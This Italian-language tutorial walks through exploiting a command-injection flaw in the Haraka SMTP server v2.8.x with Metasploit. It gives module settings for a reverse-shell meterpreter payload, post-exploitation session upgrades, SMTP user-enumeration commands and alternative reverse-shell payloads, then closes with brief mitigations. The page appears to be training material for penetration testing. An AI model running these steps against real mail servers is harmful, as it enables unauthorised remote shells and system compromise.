Tutorials

Exploiting a Vulnerable SMTP Server (Haraka v2.8.x)

Haraka è un server SMTP open-source basato su Node.js, spesso utilizzato in ambienti di sviluppo o per applicazioni che richiedono un mail server veloce e flessibile. Nella versione v2.8.x, è presente

#exploitation#linux

Exploiting a Vulnerable SMTP Server (Haraka v2.8.x)

Overview

Haraka è un server SMTP open-source basato su Node.js, spesso utilizzato in ambienti di sviluppo o per applicazioni che richiedono un mail server veloce e flessibile. Nella versione v2.8.x, è presente una vulnerabilità di command injection, che può essere sfruttata per ottenere una shell sulla macchina bersaglio.

Informazioni sulla Vulnerabilità

  • Componente vulnerabile: Haraka SMTP Server
  • Versioni affette: 2.8.x (specificamente vulnerabile)
  • Tipo di vulnerabilità: Command Injection
  • Vector: Email Header (generalmente RCPT TO: o altri campi manipolabili)

Metasploit Module

Metasploit Framework fornisce un modulo dedicato per questa vulnerabilità:

bash
exploit/linux/smtp/haraka

Configurazione del Modulo

Di seguito i parametri da configurare all'interno del modulo:

bash
use exploit/linux/smtp/haraka
set RHOSTS <IP_TARGET>
set EMAIL_TO <indirizzo_email_valido_o_fake>
set PAYLOAD linux/x86/meterpreter/reverse_tcp
set LHOST <IP_TUO_ATTACK_BOX>
set LPORT <PORTA_DI_LISTENING>
run

Esecuzione dell'Exploit

1. Verificare che il server Haraka sia in esecuzione sulla porta SMTP (di default 25). 2. Eseguire il modulo con le opportune variabili settate. 3. Una volta avviato, il server SMTP processerà l'input manipolato, attivando la vulnerabilità e permettendo al payload di essere eseguito.

Note Importanti:

  • È consigliabile eseguire prima uno scan di banner o un SMTP enumeration per confermare la versione esatta del server.
  • Assicurarsi che le regole di firewall non blocchino la porta in uscita del reverse shell (LPORT).

Post-Exploitation

Una volta ottenuta la shell, è possibile convertirla in una sessione Meterpreter tramite:

bash
sessions -u <ID>

oppure usare il modulo:

bash
use post/multi/manage/shell_to_meterpreter

Approfondimenti Aggiuntivi

  • SMTP Enumeration:
- nmap -p 25 --script smtp-enum-users - smtp-user-enum -M VRFY -U userlist.txt -t
  • Raccolta Informazioni Previa:
- Utilizzare telnet 25 o nc per interagire direttamente e osservare la risposta del banner
  • Alternative di Payload:
- cmd/unix/reverse per un accesso più leggero - linux/x64/shell_reverse_tcp per sistemi a 64bit

Mitigazioni

  • Aggiornare Haraka all'ultima versione stabile.
  • Implementare filtri e validazioni sui campi email.
  • Limitare l'accesso alle porte SMTP solo a fonti fidate.
  • Utilizzare IDS/IPS per intercettare attività anomale su SMTP.

Conclusioni

Questa vulnerabilità dimostra come un servizio apparentemente semplice come un server SMTP possa diventare un vettore di compromissione completo se non adeguatamente protetto. L'utilizzo di Metasploit semplifica l'exploitation, ma è fondamentale comprendere anche la meccanica sottostante per eventuali contesti dove l'automazione non sia sufficiente.